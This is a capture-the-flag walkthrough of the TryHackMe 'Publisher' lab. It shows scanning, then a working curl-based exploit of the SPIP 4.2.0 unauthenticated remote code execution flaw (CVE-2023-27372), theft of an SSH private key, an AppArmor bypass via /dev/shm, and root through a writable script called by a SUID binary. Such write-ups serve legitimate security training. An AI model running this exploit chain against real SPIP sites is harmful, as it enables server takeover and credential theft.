TryHackMe | Publisher

In this walkthrough, I demonstrate how I obtained complete ownership of the Publisher room on TryHackMe
TryHackMe | Publisher
In: TryHackMe, Attack, CTF

Nmap Results

# Nmap 7.94SVN scan initiated Fri Jun 28 14:50:16 2024 as: nmap -Pn -p- --min-rate 2000 -sC -sV -oN nmap-scan.txt
Nmap scan report for
Host is up (0.076s latency).
Not shown: 65533 closed tcp ports (reset)
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 44:5f:26:67:4b:4a:91:9b:59:7a:95:59:c8:4c:2e:04 (RSA)
|   256 0a:4b:b9:b1:77:d2:48:79:fc:2f:8a:3d:64:3a:ad:94 (ECDSA)
|_  256 d3:3b:97:ea:54:bc:41:4d:03:39:f6:8f:ad:b6:a0:fb (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Publisher's Pulse: SPIP Insights & Tips
|_http-server-header: Apache/2.4.41 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at .
# Nmap done at Fri Jun 28 14:50:56 2024 -- 1 IP address (1 host up) scanned in 40.32 seconds
No breadcrumbs in the nmap output, but I'm going to make an /etc/hosts entry anyway, so that I don't have to remember the target IP address
echo -e '\tpublisher.thm' | sudo tee -a /etc/hosts

Service Enumeration


Happy Path Testing

Walking the “happy path” · Pwning OWASP Juice Shop
We don't know anything about the web application at the moment, so for now, we'll just click around on the page; testing different links and putting expected inputs in any input fields. We just want to understand for now what certain things do.
Also, I'm certain you know this, but there are some hyperlinks on the page that point to an external domain -- e.g. This domain is not in-scope, so leave those alone.

Looking at the page, there is not much to click or interact with. Most of the links are dead, and there are no input fields to interact with, so that concludes the happy path testing.

Unhappy Path Testing

We're going to deviate from the happy path and probe the app in ways that surely the developer did not intend for it to be used, thus it is called "unhappy" path testing.

We're going to need to use some tools to uncover more information about the target, such as gobuster to find more endpoints, pages, and information about the web site.

I could not find any robots.txt or sitemap.xml that would point to any other endpoints or pages. Also, nothing particularly interesting in the site source code.

Possible username, Admin in this heading heres
Introduction - SPIP
SPIP is a system for publishing content on the Internet.

Googling, "What is SPIP", brings up a page where we learn that it is a publishing platform, so most likely some kind of CMS

Gobuster Enumeration

Directories and Files

gobuster dir -u http://publisher.thm -w /usr/share/seclists/Discovery/Web-Content/big.txt -o publisher_80.txt -t 100
/.htpasswd            (Status: 403) [Size: 278]
/.htaccess            (Status: 403) [Size: 278]
/images               (Status: 301) [Size: 315] [--> http://publisher.thm/images/]
/server-status        (Status: 403) [Size: 278]
/spip                 (Status: 301) [Size: 313] [--> http://publisher.thm/spip/


Couple of interesting pages at the bottom, one has an interesting ?page= parameter, the other is a login page
The page source code reveals the SPIP version number in a meta tag
Web server returns HTTP 403 for path traversal testing
Clicking on the published article, we can see another author name, think
SPIP v4.2.0 - Remote Code Execution (Unauthenticated)
SPIP v4.2.0 - Remote Code Execution (Unauthenticated). CVE-2023-27372 . webapps exploit for PHP platform

Google search for SPIP cve returns this result, which matches the server version

Understanding the Exploit

Looking at the POC in the Exploit DB page, we can see that it's using python-requests to send a HTTP POST request to http://domain.tld/spip/spip.php?page=spip_pass.

It also contains a HTTP POST body of the following parameters:

  • page=spip_pass
  • formulaire_action=oubli
  • formulaire_action_args={csrf_token_here}
  • oubli={payload_here}

The payload is a formatted string resulting in s:{20 + lengh of comand string}:php system('system_command_here'); ?>"; where the two %s are substituted with (20 + len(options.command) and options.command from the user-provided arguments.

Why +20? Because <?php system(' is 14 characters and '); ?> is 6 characters, so the whole string is 20 characters plus your payload.

This is a de-serialization attack, meaning that the function that processes the user-provided input, needs to know that the incoming data is a string and how many characters it contains.

Manually Testing the Exploit


Make a junk HTTP POST to the target page at http://publisher.thm/spip/spip.php?page=spip_pass
Here's the request in the Burp proxy history -- request 214 in my case. Right click on the request and choose Send to Repeater
echo "<?php phpinfo(); ?>" | tr -d '\n' | wc -m


oubli=s:19:"<?php phpinfo(); ?>";


Nice! The arbitrary PHP code was de-serialized and executed on the server, rendering the phpinfo page

More Efficiency with cURL

curl -s http://publisher.thm/spip/spip.php?page=spip_pass | grep -i formulaire_action_sign
We're going to use this command to grab a CSRF token for the manual attack
curl -s http://publisher.thm/spip/spip.php?page=spip_pass | grep -i formulaire_action_sign | cut -d "'" -f 2
We cut the CSRF token from the output
# if block to prompt for user input based on shell type
# php_rce to format PHP command string with user input
# cmd_length to calculate length of command string
# Finally make the HTTP POST request with CSRF token and command string

if echo $SHELL | grep zsh > /dev/null ; then read 'cmd?Enter a command for RCE: '; else read -p 'Enter a command for RCE: ' ; fi \
&& php_rce="<?php echo system('echo; echo; echo; ${cmd}; echo; echo; echo;'); ?>" \
&& cmd_length=$(echo $php_rce | tr -d '\n' | wc -m) \
&& curl -s -X POST http://publisher.thm/spip/spip.php?page=spip_pass \
-d "page=spip_pass" \
-d "formulaire_action=oubli" \
-d "formulaire_action_args=$(curl -s http://publisher.thm/spip/spip.php?page=spip_pass | grep -i formulaire_action_sign | cut -d "'" -f 2)" \
-d "oubli=s:${cmd_length}:\"${php_rce}\";"
Scroll down to find command output
One thing I noticed is that commands such as ping and curl to call back to my VPN IP address did not work, so I'll try to uncover sensitive files on the file system.


Discover SSH Key via RCE

pwd output shows we're in /home/think/spip/spip, so try checking /home/think/.ssh and find there is a SSH private key file
cat /home/think/.ssh/id_rsa and save the file locally by copying and pasting
touch id_rsa
chmod 600 id_rsa
nano id_rsa

Paste the contents into the file

SSH in as think to the target

Post-Exploit Enumeration

Operating Environment

OS & Kernel

VERSION="20.04.6 LTS (Focal Fossa)"
PRETTY_NAME="Ubuntu 20.04.6 LTS"

Linux publisher 5.4.0-169-generic #187-Ubuntu SMP Thu Nov 23 14:52:28 UTC 2023 x86_64 x86_64 x86_64 GNU/Linux

Current User

uid=1000(think) gid=1000(think) groups=1000(think)

Sorry, user think may not run sudo on publisher.    

Users and Groups

Local Users


Local Groups


Network Configurations

Network Interfaces

2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 9001 qdisc fq_codel state UP group default qlen 1000
    link/ether 02:1f:fc:f5:70:1f brd ff:ff:ff:ff:ff:ff
    inet brd scope global dynamic eth0
       valid_lft 2246sec preferred_lft 2246sec
    inet6 fe80::1f:fcff:fef5:701f/64 scope link 
       valid_lft forever preferred_lft forever
3: docker0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default 
    link/ether 02:42:89:6e:6c:a8 brd ff:ff:ff:ff:ff:ff
    inet brd scope global docker0
       valid_lft forever preferred_lft forever
    inet6 fe80::42:89ff:fe6e:6ca8/64 scope link 
       valid_lft forever preferred_lft forever
4: br-72fdb218889f: <NO-CARRIER,BROADCAST,MULTICAST,UP> mtu 1500 qdisc noqueue state DOWN group default 
    link/ether 02:42:64:21:fe:9f brd ff:ff:ff:ff:ff:ff
    inet brd scope global br-72fdb218889f
       valid_lft forever preferred_lft forever
6: veth2466a08@if5: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue master docker0 state UP group default 
    link/ether a6:19:83:44:ca:4a brd ff:ff:ff:ff:ff:ff link-netnsid 0
    inet6 fe80::a419:83ff:fe44:ca4a/64 scope link 
       valid_lft forever preferred_lft forever    

Open Ports

tcp        0      0*               LISTEN      -    

Processes and Services

Interesting Processes

root         829  0.0  3.8 1416740 78556 ?       Ssl  13:57   0:00 /usr/bin/dockerd -H fd:// --containerd=/run/containerd/containerd.sock
root        1056  0.0  0.1 1008084 2984 ?        Sl   13:57   0:00  \_ /usr/bin/docker-proxy -proto tcp -host-ip -host-port 80 -container-ip -container-port 80
root        1061  0.0  0.1 1155548 3364 ?        Sl   13:57   0:00  \_ /usr/bin/docker-proxy -proto tcp -host-ip :: -host-port 80 -container-ip -container-port 80

Privilege Escalation

Shell Weirdness

One of the first things I noticed when landing a shell on the box was some of strange behavior when interacting with the file system. A couple of examples:

  • /tmp is wide open, but I can't write files there
  • /opt is open, but I can't list contents
As far as I can tell, this doesn't seem to be any kind of shell jail, because I can navigate freely around the system. There seems to be some kind of ACL or policy preventing me from specific places.
Our user's login shell is set to /usr/sbin/ash
getfacl -t -s -R -p /bin /etc /home /opt /root /sbin /usr /tmp 2>/dev/null

I tried first looking at possible ACL issues on the file system, but my ability to enumerate them was limited, but with the commands I could run, I did not see anything abnormal.


I used the HackTricks article as a starting point to enumerate AppArmor more, as my research indicated this could be another reason for the issues I was seeing.

This command indicates that AppArmor is enabled on the system
I got the idea to look at logs for AppArmor in the HackTricks article
There seems to be an AppArmor profile for our shell
And, here's the AppArmor policy, which now clearly shows the reason for our issues with file system permissions

AppArmor Bypass

AppArmor | HackTricks
The short answer as to why this works is that individual scripts require their own AppArmor profile. Since there is no profile for random scripts we create, it is not confined by the AppArmor profile.

When think logs in, /usr/sbin/ash is constrained by AppArmor, because that single binary has a profile with AppArmor, but a random script -- say, /dev/shm/ -- would need a separate profile.

We can create the bypass script in /dev/shm, because it does not block /dev/shm/**
echo -e '#! /bin/bash\n/bin/bash -ip' > /dev/shm/
chmod 755 /dev/shm/
Again, /usr/sbin/ash has an AppArmor profile, /dev/shm/ does not
And now, our shell is behaving normally again

SUID Binary

Analyze the SUID Binary

find / -type f -user root -perm /4000 2>/dev/null
This binary is not typical for a SUID binary and matches the name of the script in /opt
strings is installed on the target, so inspect the file
The binary calls /bin/bash which then calls /opt/, so the first line of order would be to take a look at the script permissions to see if we can overwrite it
The script has wide open permissions

Abuse the SUID Binary

With AppArmor out of the way, we have free reign to overwrite the contents of /opt/
echo -e '#! /bin/bash\n/bin/bash -ip' > /opt/

Overwrite the contents of the script to spawn a bash shell with inherited privileges

euid=0 and egid=0, we're done here





More from 0xBEN
Table of Contents
Great! You’ve successfully signed up.
Welcome back! You've successfully signed in.
You've successfully subscribed to 0xBEN.
Your link has expired.
Success! Check your email for magic link to sign-in.
Success! Your billing info has been updated.
Your billing was not updated.